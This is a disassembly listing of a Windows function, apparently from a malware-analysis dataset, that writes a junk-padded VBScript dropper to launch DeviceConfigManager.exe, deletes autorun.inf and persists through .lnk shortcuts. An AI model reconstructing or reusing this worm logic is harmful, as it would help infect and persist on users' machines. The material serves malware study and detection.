Function at 0x401990
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Enumerate files on windows
Get file attributes
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc10
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x670]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x358]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x990]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x568]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x888]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x460]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x780]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x4073c0
lea edx, [ebp - 0x670]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s.lnk
lea edx, [ebp - 0x990]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
push str._s.lnk
lea ecx, [ebp - 0x780]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._sautorun.inf
lea eax, [ebp - 0x888]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push str._s_
lea edx, [ebp - 0x358]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str._s_DeviceConfigManager.exe
lea ecx, [ebp - 0x460]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._sDeviceConfigManager.vbs
lea eax, [ebp - 0x568]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x568]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402cf9
lea edx, [ebp - 0x888]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401b33
push 0x80
lea eax, [ebp - 0x888]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x888]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x40742c
lea edx, [ebp - 0x568]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402cf9
push 0x64
push 0
lea eax, [ebp - 0xa60]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x64
push 0
lea ecx, [ebp - 0x9f8]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xa
call fcn.00404140
add esp, 4
push eax
lea edx, [ebp - 0xa60]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0xa
call fcn.00404140
add esp, 4
push eax
lea eax, [ebp - 0x9f8]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [ebp - 0xa64], 0
jmp 0x401bcf
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa64], edx
jge 0x401c1e
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401bfb
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407430
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x401bc0
mov dword [ebp - 0xa68], 0
jmp 0x401c39
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa68], edx
jge 0x401ca6
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401c65
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401c83
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407438
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401c2a
mov dword [ebp - 0xa6c], 0
jmp 0x401cc1
mov eax, dword [ebp - 0xa6c]
add eax, 1
mov dword [ebp - 0xa6c], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa6c], edx
jge 0x401d21
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401cfe
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407448
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401cb2
lea eax, [ebp - 0xa60]
push eax
push 0x407454
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xa70], 0
jmp 0x401d57
mov edx, dword [ebp - 0xa70]
add edx, 1
mov dword [ebp - 0xa70], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa70], edx
jge 0x401da6
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401d83
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x40745c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x401d48
mov dword [ebp - 0xa74], 0
jmp 0x401dc1
mov eax, dword [ebp - 0xa74]
add eax, 1
mov dword [ebp - 0xa74], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa74], edx
jge 0x401e2e
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401ded
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401e0b
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407464
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401db2
mov dword [ebp - 0xa78], 0
jmp 0x401e49
mov eax, dword [ebp - 0xa78]
add eax, 1
mov dword [ebp - 0xa78], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa78], edx
jge 0x401ea9
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401e86
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407474
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401e3a
lea eax, [ebp - 0x9f8]
push eax
push 0x407480
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xa7c], 0
jmp 0x401edf
mov edx, dword [ebp - 0xa7c]
add edx, 1
mov dword [ebp - 0xa7c], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa7c], edx
jge 0x401f2e
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401f0b
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407488
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x401ed0
mov dword [ebp - 0xa80], 0
jmp 0x401f49
mov eax, dword [ebp - 0xa80]
add eax, 1
mov dword [ebp - 0xa80], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa80], edx
jge 0x401fb6
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401f75
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401f93
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407490
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401f3a
mov dword [ebp - 0xa84], 0
jmp 0x401fd1
mov eax, dword [ebp - 0xa84]
add eax, 1
mov dword [ebp - 0xa84], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa84], edx
jge 0x402031
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40200e
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4074a0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401fc2
lea eax, [ebp - 0xa60]
push eax
push str.Set__s__wscript.CreateObject__WScript.Shell___n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xa88], 0
jmp 0x402067
mov edx, dword [ebp - 0xa88]
add edx, 1
mov dword [ebp - 0xa88], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa88], edx
jge 0x4020b6
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402093
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4074dc
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402058
mov dword [ebp - 0xa8c], 0
jmp 0x4020d1
mov eax, dword [ebp - 0xa8c]
add eax, 1
mov dword [ebp - 0xa8c], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa8c], edx
jge 0x40213e
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4020fd
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40211b
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4074e4
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x4020c2
mov dword [ebp - 0xa90], 0
jmp 0x402159
mov eax, dword [ebp - 0xa90]
add eax, 1
mov dword [ebp - 0xa90], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa90], edx
jge 0x4021b9
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402196
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4074f4
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x40214a
lea eax, [ebp - 0x9f8]
push eax
push str.Set__s__CreateObject__Scripting.FileSystemObject___n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xa94], 0
jmp 0x4021ef
mov edx, dword [ebp - 0xa94]
add edx, 1
mov dword [ebp - 0xa94], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa94], edx
jge 0x40223e
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40221b
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407538
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4021e0
mov dword [ebp - 0xa98], 0
jmp 0x402259
mov eax, dword [ebp - 0xa98]
add eax, 1
mov dword [ebp - 0xa98], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa98], edx
jge 0x4022c6
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402285
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4022a3
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407540
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x40224a
mov dword [ebp - 0xa9c], 0
jmp 0x4022e1
mov eax, dword [ebp - 0xa9c]
add eax, 1
mov dword [ebp - 0xa9c], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xa9c], edx
jge 0x402341
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40231e
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407550
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x4022d2
lea eax, [ebp - 0x9f8]
push eax
push str.If__s.FolderExists______Then_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0xa60]
push edx
push str._s.Run__cmd__c_start_____0__True_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push 0x4075a0
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xaa0], 0
jmp 0x4023a6
mov edx, dword [ebp - 0xaa0]
add edx, 1
mov dword [ebp - 0xaa0], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaa0], edx
jge 0x4023f5
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4023d2
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4075a8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402397
mov dword [ebp - 0xaa4], 0
jmp 0x402410
mov eax, dword [ebp - 0xaa4]
add eax, 1
mov dword [ebp - 0xaa4], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaa4], edx
jge 0x40247d
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40243c
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40245a
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4075b0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402401
mov dword [ebp - 0xaa8], 0
jmp 0x402498
mov eax, dword [ebp - 0xaa8]
add eax, 1
mov dword [ebp - 0xaa8], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaa8], edx
jge 0x4024f8
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4024d5
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4075c0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402489
push str.set_service__GetObject__winmgmts:___n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xaac], 0
jmp 0x402527
mov ecx, dword [ebp - 0xaac]
add ecx, 1
mov dword [ebp - 0xaac], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xaac], edx
jge 0x402576
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402553
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4075f4
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402518
mov dword [ebp - 0xab0], 0
jmp 0x402591
mov eax, dword [ebp - 0xab0]
add eax, 1
mov dword [ebp - 0xab0], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xab0], edx
jge 0x4025fe
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4025bd
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4025db
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4075fc
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402582
mov dword [ebp - 0xab4], 0
jmp 0x402619
mov eax, dword [ebp - 0xab4]
add eax, 1
mov dword [ebp - 0xab4], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xab4], edx
jge 0x402679
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402656
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x40760c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x40260a
push str.for_each_Process_in_Service.InstancesOf__Win32_Process___n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xab8], 0
jmp 0x4026a8
mov ecx, dword [ebp - 0xab8]
add ecx, 1
mov dword [ebp - 0xab8], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xab8], edx
jge 0x4026f7
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4026d4
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x407654
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402699
mov dword [ebp - 0xabc], 0
jmp 0x402712
mov eax, dword [ebp - 0xabc]
add eax, 1
mov dword [ebp - 0xabc], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xabc], edx
jge 0x40277f
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40273e
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40275c
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x40765c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402703
mov dword [ebp - 0xac0], 0
jmp 0x40279a
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xac0], edx
jge 0x4027fa
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4027d7
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x40766c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x40278b
push str.If_Process.Name___winmgr.exe__Then_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.wscript.quit_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push 0x4076b0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xac4], 0
jmp 0x402851
mov eax, dword [ebp - 0xac4]
add eax, 1
mov dword [ebp - 0xac4], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xac4], edx
jge 0x4028a0
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40287d
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4076b8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402842
mov dword [ebp - 0xac8], 0
jmp 0x4028bb
mov eax, dword [ebp - 0xac8]
add eax, 1
mov dword [ebp - 0xac8], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xac8], edx
jge 0x402928
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4028e7
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402905
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4076c0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x4028ac
mov dword [ebp - 0xacc], 0
jmp 0x402943
mov eax, dword [ebp - 0xacc]
add eax, 1
mov dword [ebp - 0xacc], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xacc], edx
jge 0x4029a3
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402980
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4076d0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402934
push str.Next_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xad0], 0
jmp 0x4029d2
mov ecx, dword [ebp - 0xad0]
add ecx, 1
mov dword [ebp - 0xad0], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xad0], edx
jge 0x402a21
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4029fe
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4076e4
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4029c3
mov dword [ebp - 0xad4], 0
jmp 0x402a3c
mov eax, dword [ebp - 0xad4]
add eax, 1
mov dword [ebp - 0xad4], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xad4], edx
jge 0x402aa9
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402a68
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402a86
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4076ec
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402a2d
mov dword [ebp - 0xad8], 0
jmp 0x402ac4
mov eax, dword [ebp - 0xad8]
add eax, 1
mov dword [ebp - 0xad8], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xad8], edx
jge 0x402b24
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402b01
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push 0x4076fc
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402ab5
lea eax, [ebp - 0x9f8]
push eax
push str.If__s.FileExists___DeviceConfigManager.exe___Then_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0xa60]
push edx
push str._s.Run___DeviceConfigManager.exe__n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push str.End_If_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xadc], 0
jmp 0x402b89
mov edx, dword [ebp - 0xadc]
add edx, 1
mov dword [ebp - 0xadc], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xadc], edx
jge 0x402bd8
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402bb5
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push str.Dim__s_n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402b7a
mov dword [ebp - 0xae0], 0
jmp 0x402bf3
mov eax, dword [ebp - 0xae0]
add eax, 1
mov dword [ebp - 0xae0], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xae0], edx
jge 0x402c60
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402c1f
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402c3d
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push str._s____s.exe__n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402be4
mov dword [ebp - 0xae4], 0
jmp 0x402c7b
mov eax, dword [ebp - 0xae4]
add eax, 1
mov dword [ebp - 0xae4], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0xc8
cmp dword [ebp - 0xae4], edx
jge 0x402cdb
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402cb8
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00404140
add esp, 4
push eax
push str._s___d_n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402c6c
mov eax, dword [ebp - 0x10c]
push eax
